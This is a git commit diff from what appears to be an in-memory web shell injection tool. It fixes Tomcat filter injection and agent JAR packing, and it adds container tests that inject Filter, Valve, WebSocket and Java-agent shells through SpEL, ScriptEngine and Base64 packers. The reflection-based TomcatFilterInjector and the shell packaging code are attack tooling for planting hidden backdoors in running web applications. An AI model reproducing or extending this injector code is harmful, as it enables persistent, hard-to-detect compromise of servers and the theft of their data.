fix: SpringBoot Tomcat Shell Inject failed

This commit is contained in:
ReaJason
2025-04-23 00:10:48 +08:00
parent a5a5780eac
commit d8079e5d0f
6 changed files with 40 additions and 23 deletions
@@ -58,16 +58,16 @@ public class AgentJarPacker implements JarPacker {
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
if (isAsm) {
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
addDependency(targetJar, Opcodes.class, relocatePrefix);
} else {
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
}
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage = isRelocateEnabled ?
String relocatePrefix, boolean isAsm) {
String dependencyPackage = isAsm ?
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
// Add injector class
@@ -75,16 +75,14 @@ public class AgentJarPacker implements JarPacker {
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
relocatePrefix);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
relocatePrefix);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
@@ -92,24 +90,21 @@ public class AgentJarPacker implements JarPacker {
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = isRelocateEnabled ?
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
classBytes;
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
@@ -133,13 +128,13 @@ public class AgentJarPacker implements JarPacker {
if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry);
byte[] bytes = IOUtils.toByteArray(entryStream);
if (relocate) {
if (entryName.endsWith(".class")) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (bytes.length > 0) {
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
}
} else {
targetJar.putNextEntry(new JarEntry(entryName));
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
targetJar.closeEntry();
@@ -82,4 +82,25 @@ public class SpringBoot2ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
static Stream<Arguments> tomcatCasesProvider() {
Server server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
// ShellType.LISTENER,
ShellType.VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
}
@@ -36,7 +36,7 @@ public class ClassRenameUtils {
}
String oldClassName = relocateClassPackage.replace('.', '/');
String newClassName = relocatePrefix.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
@Override
public String map(String typeName) {
@@ -98,8 +98,8 @@ public class TomcatFilterInjector {
Object filterMap;
try {
// tomcat v8/9
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance();
} catch (Exception e2) {
// tomcat v6/7
try {
@@ -119,7 +119,7 @@ public class TomcatFilterInjector {
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+1
View File
@@ -16,6 +16,7 @@ repositories {
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-web'
implementation 'commons-io:commons-io:2.+'
implementation 'net.bytebuddy:byte-buddy:1.10.10'
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
@@ -1,9 +1,7 @@
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
/**
@@ -14,9 +12,11 @@ public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.getMethod();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.getMethod();
}
}